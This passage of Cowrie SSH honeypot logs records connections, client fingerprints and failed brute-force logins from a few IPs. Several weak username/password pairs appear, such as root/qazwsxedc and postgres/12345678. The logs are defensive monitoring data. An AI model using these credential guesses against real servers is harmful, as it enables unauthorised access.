{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:54.444106Z","src_ip":"159.203.92.129","session":"eebe9a3a9954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MasterFeng","password":"MasterFeng","message":"login attempt [MasterFeng/MasterFeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:54.464558Z","src_ip":"159.203.92.129","session":"eebe9a3a9954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:54.748845Z","src_ip":"176.65.139.95","session":"4a3d106f5501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:55.471707Z","src_ip":"159.203.92.129","session":"eebe9a3a9954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54144,"dst_ip":"159.203.135.109","dst_port":22,"session":"42959376f125","protocol":"ssh","message":"New connection: 192.109.200.78:54144 (159.203.135.109:22) [session: 42959376f125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:56.385457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:56.392327Z","src_ip":"192.109.200.78","session":"42959376f125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:56.469380Z","src_ip":"192.109.200.78","session":"42959376f125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:56.790587Z","src_ip":"192.109.200.78","session":"42959376f125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:57.876768Z","src_ip":"192.109.200.78","session":"42959376f125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45768,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa42847922fb","protocol":"ssh","message":"New connection: 176.65.139.95:45768 (159.203.135.109:22) [session: aa42847922fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.094670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.104975Z","src_ip":"176.65.139.95","session":"aa42847922fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.208991Z","src_ip":"176.65.139.95","session":"aa42847922fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.507416Z","src_ip":"176.65.139.95","session":"aa42847922fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54672,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e684c0ccdca","protocol":"ssh","message":"New connection: 192.109.200.78:54672 (159.203.135.109:22) [session: 7e684c0ccdca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.528327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.533686Z","src_ip":"192.109.200.78","session":"7e684c0ccdca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.619174Z","src_ip":"192.109.200.78","session":"7e684c0ccdca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:00.867100Z","src_ip":"192.109.200.78","session":"7e684c0ccdca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:01.592931Z","src_ip":"176.65.139.95","session":"aa42847922fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:01.951736Z","src_ip":"192.109.200.78","session":"7e684c0ccdca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54678,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b392f852c9c","protocol":"ssh","message":"New connection: 192.109.200.78:54678 (159.203.135.109:22) [session: 7b392f852c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:04.720882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:04.725665Z","src_ip":"192.109.200.78","session":"7b392f852c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:04.820059Z","src_ip":"192.109.200.78","session":"7b392f852c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:05.069239Z","src_ip":"192.109.200.78","session":"7b392f852c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:06.154945Z","src_ip":"192.109.200.78","session":"7b392f852c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00de060b3f3","protocol":"ssh","message":"New connection: 176.65.139.95:45808 (159.203.135.109:22) [session: d00de060b3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:06.837200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:06.842435Z","src_ip":"176.65.139.95","session":"d00de060b3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:06.966997Z","src_ip":"176.65.139.95","session":"d00de060b3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:07.261145Z","src_ip":"176.65.139.95","session":"d00de060b3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:08.511424Z","src_ip":"176.65.139.95","session":"d00de060b3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50084,"dst_ip":"159.203.135.109","dst_port":22,"session":"7edc00d0af30","protocol":"ssh","message":"New connection: 192.109.200.78:50084 (159.203.135.109:22) [session: 7edc00d0af30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:09.081710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:09.085779Z","src_ip":"192.109.200.78","session":"7edc00d0af30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:09.167325Z","src_ip":"192.109.200.78","session":"7edc00d0af30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:09.414461Z","src_ip":"192.109.200.78","session":"7edc00d0af30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:10.500873Z","src_ip":"192.109.200.78","session":"7edc00d0af30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50088,"dst_ip":"159.203.135.109","dst_port":22,"session":"353e1173c695","protocol":"ssh","message":"New connection: 192.109.200.78:50088 (159.203.135.109:22) [session: 353e1173c695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:13.206139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:13.210536Z","src_ip":"192.109.200.78","session":"353e1173c695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:13.294563Z","src_ip":"192.109.200.78","session":"353e1173c695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:13.544760Z","src_ip":"192.109.200.78","session":"353e1173c695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48688,"dst_ip":"159.203.135.109","dst_port":22,"session":"2773b203a5d9","protocol":"ssh","message":"New connection: 176.65.139.95:48688 (159.203.135.109:22) [session: 2773b203a5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:13.699533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:13.715174Z","src_ip":"176.65.139.95","session":"2773b203a5d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nist